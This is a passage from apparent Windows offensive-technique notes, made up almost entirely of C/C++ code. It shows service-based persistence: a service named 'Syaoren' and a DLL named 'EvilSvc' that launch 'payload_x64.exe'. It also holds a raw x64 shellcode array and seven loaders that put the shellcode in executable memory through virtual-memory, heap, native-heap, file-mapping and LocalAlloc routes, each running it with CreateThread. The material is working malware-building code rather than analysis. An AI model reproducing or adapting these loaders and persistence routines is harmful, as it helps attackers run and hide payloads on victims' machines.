return UninstallService1();
}
VOID InitUnicodeString(PUNICODE_STRING destinationString, PCWSTR sourceString) {
destinationString->Buffer = (PWSTR)sourceString;
destinationString->Length = (USHORT)(wcslen(sourceString) * sizeof(WCHAR));
destinationString->MaximumLength = destinationString->Length + sizeof(WCHAR);
}
BOOL InstallService3() {
BOOL returnStatus = FALSE;
HMODULE hNtdll = NULL;
pfnZwCreateKey pZwCreateKey = NULL;
pfnZwSetValueKey pZwSetValueKey = NULL;
NTSTATUS status = 0;
HKEY hKey = NULL;
UNICODE_STRING keyName = { 0 },
valueName = { 0 };
OBJECT_ATTRIBUTES objectAttributes;
WCHAR objectName[] = L"LocalSystem",
imagePath[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe",
keyPath[] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Syaoren";
DWORD error = SERVICE_ERROR_NORMAL,
startType = SERVICE_DEMAND_START,
serviceType = SERVICE_WIN32_OWN_PROCESS;
do {
if (!(hNtdll = GetModuleHandleW(L"ntdll")))
break;
if (!(pZwCreateKey = GetProcAddress(hNtdll, "ZwCreateKey")))
break;
if (!(pZwSetValueKey = GetProcAddress(hNtdll, "ZwSetValueKey")))
break;
InitUnicodeString(&keyName, keyPath);
InitializeObjectAttributes(&objectAttributes, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
if(!NT_SUCCESS(status = pZwCreateKey(&hKey, KEY_SET_VALUE, &objectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL)))
BREAK_WITH_STATUS("Failed to create key", status)
InitUnicodeString(&valueName, L"ErrorControl");
if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &error, sizeof(error))))
BREAK_WITH_STATUS("Failed to set error control", status)
InitUnicodeString(&valueName, L"ImagePath");
if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_EXPAND_SZ, imagePath , wcslen(imagePath) * sizeof(*imagePath))))
BREAK_WITH_STATUS("Failed to set image path", status)
InitUnicodeString(&valueName, L"ObjectName");
if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_SZ, objectName , wcslen(objectName) * sizeof(*objectName))))
BREAK_WITH_STATUS("Failed to set object name", status)
InitUnicodeString(&valueName, L"Start");
if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &startType, sizeof(startType))))
BREAK_WITH_STATUS("Failed to set start type", status)
InitUnicodeString(&valueName, L"Type");
if(!NT_SUCCESS(status = pZwSetValueKey(hKey, &valueName, 0, REG_DWORD, &serviceType, sizeof(serviceType))))
BREAK_WITH_STATUS("Failed to set service type", status)
printf("[+] Create service success!\n");
returnStatus = TRUE;
} while (0);
if (hNtdll)
CloseHandle(hNtdll);
if(hKey)
RegCloseKey(hKey);
return returnStatus;
}
BOOL InstallService2() {
BOOL returnStatus = FALSE;
HKEY hKey = NULL;
LSTATUS lResult = 0;
DWORD disposition = 0,
startType = SERVICE_DEMAND_START,
serviceType = SERVICE_WIN32_OWN_PROCESS,
errorControl = SERVICE_ERROR_NORMAL;
CONST WCHAR subKey[] = L"SYSTEM\\CurrentControlSet\\Services\\Syaoren",
imagePath[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe",
objectName[] = L"LocalSystem";
do {
if (ERROR_SUCCESS != RegCreateKeyExW(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, &disposition))
break;
if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, &errorControl, sizeof(errorControl)))
break;
if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ, imagePath, wcslen(imagePath) * sizeof(*imagePath)))
break;
if (ERROR_SUCCESS != RegSetValueExW(hKey, L"ObjectName", 0, REG_SZ, objectName, wcslen(objectName) * sizeof(*objectName)))
break;
if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Start", 0, REG_DWORD, &startType, sizeof(startType)))
break;
if (ERROR_SUCCESS != RegSetValueExW(hKey, L"Type", 0, REG_DWORD, &serviceType, sizeof(serviceType)))
break;
returnStatus = TRUE;
} while (0);
RegCloseKey(hKey);
return returnStatus;
}
BOOL InstallService1() {
SC_HANDLE hSCM = NULL, hService = NULL;
BOOL returnStatus = FALSE;
WCHAR path[] = L"C:\\Users\\kuzan\\Desktop\\Service.exe";
SERVICE_DESCRIPTION description = { 0 };
do {
if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
BREAK_WITH_ERROR("Failed to open SCM")
hService = CreateServiceW(hSCM,
L"Syaoren",
NULL,
SERVICE_CHANGE_CONFIG,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
path,
NULL, NULL, NULL, NULL, NULL);
if(!hService)
BREAK_WITH_ERROR("Failed to create service")
printf("[+] Create service success\n");
description.lpDescription = L"Who am i? MRX";
if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &description))
BREAK_WITH_ERROR("Failed to set up description")
printf("[+] Set description success\n");
returnStatus = TRUE;
} while (0);
if (hService)
CloseServiceHandle(hService);
if (hSCM)
CloseServiceHandle(hSCM);
return returnStatus;
}
BOOL StartService1() {
BOOL returnStatus = FALSE;
SC_HANDLE hSCM = NULL,
hService = NULL;
do {
if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT)))
BREAK_WITH_ERROR("Failed to connect to SCM")
if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_START)))
BREAK_WITH_ERROR("Failed to open service")
if(!StartServiceW(hService, 0, NULL))
BREAK_WITH_ERROR("Failed to start service")
printf("[+] Start service success\n");
returnStatus = TRUE;
} while (0);
if (hService)
CloseServiceHandle(hService);
if (hSCM)
CloseServiceHandle(hSCM);
return returnStatus;
}
BOOL StopService1() {
BOOL returnStatus = FALSE;
SC_HANDLE hSCM = NULL,
hService = NULL;
do {
if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT)))
BREAK_WITH_ERROR("Failed to connect to SCM")
if(!(hService = OpenServiceW(hSCM, L"Syaoren", SERVICE_STOP)))
BREAK_WITH_ERROR("Failed to open service")
if(!ControlService(hService, SERVICE_CONTROL_STOP, &g_Status))
BREAK_WITH_ERROR("Failed to stop service")
printf("[+] Stop service success\n");
returnStatus = TRUE;
} while (0);
if (hService)
CloseServiceHandle(hService);
if (hSCM)
CloseServiceHandle(hSCM);
return returnStatus;
}
BOOL EnumService() {
BOOL returnStatus = FALSE;
SC_HANDLE hSCM = NULL, hService = NULL;
LPENUM_SERVICE_STATUS_PROCESS serviceStatus = NULL;
DWORD bufferSize = 0, servicesReturned = 0, resumeHandle = 0, error = 0;
do {
if (!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE)))
BREAK_WITH_ERROR("Failed to open SCM")
EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE,
NULL, 0, &bufferSize, &servicesReturned, &resumeHandle, NULL);
error = GetLastError();
if(ERROR_MORE_DATA != error)
BREAK_WITH_ERROR("Failed to extract required size of buffer")
serviceStatus = malloc(bufferSize);
if(!EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_INACTIVE, serviceStatus,
bufferSize, &bufferSize, &servicesReturned, &resumeHandle, NULL))
BREAK_WITH_ERROR("Failed to enumerate service")
printf("[+] Service reuturned: %d\n", servicesReturned);
for (DWORD i = 0; i < servicesReturned; i++) {
printf("[+] %ws (%ws)\n", serviceStatus[i].lpDisplayName, serviceStatus[i].lpServiceName);
}
returnStatus = TRUE;
} while (0);
if (hSCM)
CloseServiceHandle(hSCM);
if (serviceStatus)
free(serviceStatus);
return returnStatus;
}
BOOL UninstallService1() {
BOOL returnStatus = FALSE;
SERVICE_STATUS status = { 0 };
SC_HANDLE hSCM = NULL,
hService = NULL;
do {
if(!(hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT)))
BREAK_WITH_ERROR("Failed to connect to SCM")
if(!(hService = OpenServiceW(hSCM, L"Syaoren", DELETE | SERVICE_QUERY_STATUS)))
BREAK_WITH_ERROR("Failed to open service")
if(QueryServiceStatus(hService, &status) && status.dwCurrentState == SERVICE_RUNNING)
StopService1();
if (!DeleteService(hService))
BREAK_WITH_ERROR("Failed to uninstall service")
printf("[+] Uninstall service success\n");
returnStatus = TRUE;
} while (0);
if (hService)
CloseServiceHandle(hService);
if (hSCM)
CloseServiceHandle(hSCM);
return returnStatus;
}
VOID RunPayload() {
WCHAR appPath[] = L"C:\\Users\\kuzan\\Desktop\\payload_x64.exe";
HANDLE hProcess;
PROCESS_INFORMATION pi;
STARTUPINFOW si;
RtlZeroMemory(&pi, sizeof(pi));
RtlZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if(!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
return;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
VOID SetStatus(DWORD status) {
g_Status.dwCurrentState = status;
g_Status.dwControlsAccepted = status == SERVICE_RUNNING ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0;
SetServiceStatus(g_hService, &g_Status);
}
VOID WINAPI SyaorenHandler(DWORD dwControl) {
switch (dwControl) {
case SERVICE_CONTROL_STOP:
SetStatus(SERVICE_STOP_PENDING);
SetEvent(g_hStopEvent);
break;
case SERVICE_CONTROL_SHUTDOWN:
SetStatus(SERVICE_STOP_PENDING);
SetEvent(g_hStopEvent);
break;
}
return;
}
VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors) {
RtlZeroMemory(&g_Status, sizeof(g_Status));
g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
BOOL error = TRUE;
HANDLE hThread;
DWORD threadId;
do {
if(!(g_hService = RegisterServiceCtrlHandlerW(L"Syaoren", SyaorenHandler)))
break;
if(!(g_hStopEvent = CreateEventW(NULL, FALSE, FALSE, NULL)))
break;
SetStatus(SERVICE_START_PENDING);
RunPayload();
error = TRUE;
} while (0);
if (!error) {
SetStatus(SERVICE_STOPPED);
}
SetStatus(SERVICE_RUNNING);
while (WAIT_TIMEOUT == WaitForSingleObject(g_hStopEvent, 1000));
SetStatus(SERVICE_STOPPED);
if(g_hStopEvent) CloseHandle(g_hStopEvent);
}
```
:diamond_shape_with_a_dot_inside: **DLL Service**
```cpp=
#include "pch.h"
#define SVCNAME TEXT("EvilSvc")
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle;
HANDLE stopEvent = NULL;
VOID UpdateServiceStatus(DWORD currentState)
{
serviceStatus.dwCurrentState = currentState;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context)
{
switch (controlCode)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
UpdateServiceStatus(SERVICE_RUNNING);
return NO_ERROR;
}
VOID RunPayload() {
WCHAR appPath[] = L"C:\\Users\\kuzan\\Desktop\\payload_x64.exe";
HANDLE hProcess;
PROCESS_INFORMATION pi;
STARTUPINFOW si;
RtlZeroMemory(&pi, sizeof(pi));
RtlZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (!CreateProcessW(appPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
return;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
VOID ExecuteServiceCode()
{
stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
UpdateServiceStatus(SERVICE_RUNNING);
RunPayload();
while (1)
{
WaitForSingleObject(stopEvent, INFINITE);
UpdateServiceStatus(SERVICE_STOPPED);
return;
}
}
extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV)
{
serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler);
serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
serviceStatus.dwServiceSpecificExitCode = 0;
UpdateServiceStatus(SERVICE_START_PENDING);
ExecuteServiceCode();
}
```
:::success
* OpenSCManager
* CreateService
* OpenService
* StartService
* ControlService
* ChangeServiceConfig(2)
* QueryServiceStatus
* EnumServiceStatus
* DeleteService
* StartServiceCtrlDispatcher
* RegisterServiceCtrlHandler
* SetServiceStatus
* CloserServiceHandle
* Nt(Zw)CreateKey
* Nt(Zw)SetKeyValue
:::
## Virtual Memory
```cpp=
BYTE shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x42\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x2a\x01\x00"
"\x00\x3e\x4c\x8d\x85\x3a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6"
"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
"\xda\xff\xd5\x57\x65\x20\x41\x72\x65\x20\x4b\x69\x6c\x6c"
"\x6e\x65\x74\x21\x00\x53\x79\x61\x6f\x72\x65\x6e\x00\x75"
"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
```
### 1. VirtualMemory With Virtual Functions
```cpp=
BOOL VirtualMemory2() {
BOOL returnStatus = FALSE;
LPBYTE mem = NULL;
HANDLE hThread = NULL;
DWORD oldProtect = 0, threadId = 0;
do {
if(!(mem = VirtualAlloc(NULL, BUFFER_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))
BREAK_WITH_ERROR("Failed to allocate memory")
RtlCopyMemory(mem, shellcode, sizeof(shellcode));
if (!VirtualProtect(mem, BUFFER_SIZE, PAGE_EXECUTE_READ, &oldProtect))
BREAK_WITH_ERROR("Failed to change protect")
if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId)))
BREAK_WITH_ERROR("Failed to create new thread")
WaitForSingleObject(hThread, INFINITE);
returnStatus = TRUE;
} while (0);
if (hThread)
CloseHandle(hThread);
if (mem) // If using MEM_RELEASE then dwSize field must be 0
VirtualFree(mem, 0, MEM_RELEASE);
return returnStatus;
}
```
:::success
+ VirtualAlloc(Ex)
+ VirtualProtect(Ex)
+ VirtualQuery(Ex)
+ ReadProcessMemory
+ WriteProcessMemory
+ VirtualFree(Ex)
:::
### 2. VirtualMemory With Native Virtual Functions
:::success
+ Nt(Zw)AllocateVirtualMemory
+ Nt(Zw)ProtectVirtualMemory
+ Nt(Zw)QueryVirtualMemory
+ Nt(Zw)ReadVirtualMemory
+ Nt(Zw)WriteVirtualMemory
+ Nt(Zw)FreeVirtualMemory
:::
### 3. VirtualMemory With Heap Functions
```cpp=
BOOL VirtualMemory5() {
BOOL returnStatus = FALSE;
HANDLE hHeap = NULL, hThread = NULL;
LPVOID mem = NULL;
DWORD threadId;
do {
if (!(hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, BUFFER_SIZE * 10, BUFFER_SIZE * 20)))
BREAK_WITH_ERROR("Failed to create new heap")
if(!(mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE)))
BREAK_WITH_ERROR("Failed to allocate heap")
RtlCopyMemory(mem, shellcode, sizeof(shellcode));
if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId)))
BREAK_WITH_ERROR("Failed to create new thread")
WaitForSingleObject(hThread, INFINITE);
returnStatus = TRUE;
} while (0);
// Use HeapDestroy without HeapFree
if (hHeap)
HeapDestroy(hHeap);
if (hThread)
CloseHandle(hThread);
return returnStatus;
}
```
:::success
+ HeapCreate
+ HeapAlloc
+ HeapReAlloc
+ HeapFree
+ HeapDestroy
:::
### 4. VirtualMemory With Native Heap Functions
```cpp=
typedef struct _RTL_HEAP_DEFINITION {
ULONG Length;
ULONG Unknown1;
ULONG Unknown2;
ULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
ULONG Unknown7;
ULONG Unknown8;
ULONG Unknown9;
ULONG Unknown10;
ULONG Unknown11;
ULONG Unknown12;
} RTL_HEAP_DEFINITION, * PRTL_HEAP_DEFINITION;
typedef PVOID (NTAPI* pfnRtlCreateHeap)(
IN ULONG Flags,
IN PVOID Base OPTIONAL,
IN ULONG Reserve OPTIONAL,
IN ULONG Commit,
IN BOOLEAN Lock OPTIONAL,
IN PRTL_HEAP_DEFINITION RtlHeapParams OPTIONAL);
typedef PVOID(NTAPI* pfnRtlAllocateHeap)(
IN PVOID HeapHandle,
IN ULONG Flags,
IN ULONG Size);
typedef NTSTATUS(NTAPI* pfnRtlDestroyHeap)(
IN PVOID HeapHandle);
typedef BOOLEAN (NTAPI* pfnRtlFreeHeap)(
IN PVOID HeapHandle,
IN ULONG Flags OPTIONAL,
IN PVOID MemoryPointer);
BOOL VirtualMemory4() {
BOOL returnStatus = FALSE;
HMODULE hNtdll = NULL;
DWORD threadId = 0;
HANDLE hThread = NULL;
PVOID hHeap = NULL, mem = NULL;
pfnRtlFreeHeap pRtlFreeHeap = NULL;
pfnRtlCreateHeap pRtlCreateHeap = NULL;
pfnRtlDestroyHeap pRtlDestroyHeap = NULL;
pfnRtlAllocateHeap pRtlAllocateHeap = NULL;
hNtdll = GetModuleHandleW(L"ntdll");
pRtlCreateHeap = GetProcAddress(hNtdll, "RtlCreateHeap");
pRtlAllocateHeap = GetProcAddress(hNtdll, "RtlAllocateHeap");
pRtlFreeHeap = GetProcAddress(hNtdll, "RtlFreeHeap");
pRtlDestroyHeap = GetProcAddress(hNtdll, "RtlDestroyHeap");
do {
if(!(hHeap = pRtlCreateHeap(HEAP_CREATE_ENABLE_EXECUTE, NULL, 0, 0, NULL, NULL)))
BREAK_WITH_ERROR("Failed to create heap")
if(!(mem = pRtlAllocateHeap(hHeap, HEAP_NO_SERIALIZE, 4096)))
BREAK_WITH_ERROR("Failed to allocate heap")
RtlCopyMemory(mem, shellcode, sizeof(shellcode));
if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId)))
BREAK_WITH_ERROR("Failed to create new thread")
WaitForSingleObject(hThread, INFINITE);
returnStatus = TRUE;
} while (0);
if (hThread)
CloseHandle(hThread);
if (mem)
pRtlFreeHeap(hHeap, HEAP_NO_SERIALIZE, mem);
if(hHeap)
pRtlDestroyHeap(hHeap);
return returnStatus;
}
```
:::success
* RtlCreateHeap
* RtlAllocateHeap
* RtlReAllocateHeap
* RtlFreeHeap
* RtlDestroyHeap
:::
### 5. VirtualMemory With File Mapping Functions
```cpp=
BOOL VirtualMemory3() {
BOOL returnStatus = FALSE;
LPBYTE mem = NULL;
DWORD threadId = 0;
HANDLE hFileMapping = NULL, hThread = NULL;
do {
if (!(hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, BUFFER_SIZE, L"Local\\SyaorenFile")))
BREAK_WITH_ERROR("Failed to create file mapping")
if(!(mem = MapViewOfFile(hFileMapping, FILE_MAP_WRITE, 0, 0, BUFFER_SIZE)))
BREAK_WITH_ERROR("Failed to mapping file")
RtlCopyMemory(mem, shellcode, sizeof(shellcode));
if (!UnmapViewOfFile(mem))
BREAK_WITH_ERROR("Failed to unmap view of file")
if(!(mem = MapViewOfFile(hFileMapping, FILE_MAP_EXECUTE | FILE_MAP_READ, 0, 0, BUFFER_SIZE)))
BREAK_WITH_ERROR("Failed to mapping file")
if(!(hThread = CreateThread(NULL, 0, mem, NULL, 0, &threadId)))
BREAK_WITH_ERROR("Failed to create new thread")
WaitForSingleObject(hThread, INFINITE);
returnStatus = TRUE;
} while (0);
if (hThread)
CloseHandle(hThread);
if (mem)
UnmapViewOfFile(mem);
if (hFileMapping)
CloseHandle(hFileMapping);
return returnStatus;
}
```
:::success
* CreateFileMapping
* OpenFileMapping
* MapViewOfFile
* UnmapViewOfFile
:::
### 6. VirtualMemory With Section Functions
:::success
+ Nt(Zw)CreateSection
+ Nt(Zw)OpenSection
+ Nt(Zw)MapViewOfSection
+ Nt(Zw)UnmapViewOfSection
:::
### 7. VirtualMemory With GlobalAlloc/LocalAlloc
```cpp=
BOOL VirtualMemory1() {
BOOL returnStatus = FALSE;
HLOCAL hMem = NULL;
HANDLE hThread = NULL;
DWORD threadId = 0, oldProtect = 0;
do {
if (!(hMem = LocalAlloc(LMEM_ZEROINIT, BUFFER_SIZE * 10)))
BREAK_WITH_ERROR("Failed to allocate memory")
RtlCopyMemory(hMem, shellcode, sizeof(shellcode));
if(!VirtualProtect(hMem, BUFFER_SIZE, PAGE_EXECUTE_READ, &oldProtect))
BREAK_WITH_ERROR("Failed to change protect")
if(!(hThread = CreateThread(NULL, 0, hMem, NULL, 0, &threadId)))
BREAK_WITH_ERROR("Failed to create new thread")
WaitForSingleObject(hThread, INFINITE);
if(!VirtualProtect(hMem, BUFFER_SIZE, PAGE_READWRITE, &oldProtect))
BREAK_WITH_ERROR("Failed to change protect")
returnStatus = TRUE;
} while (0);
if (hThread)
CloseHandle(hThread);
if(hMem)
LocalFree(hMem);
return returnStatus;
}
```
:::success
* LocalAlloc
* GlobalAlloc
* LocalFree
* GlobalFree
:::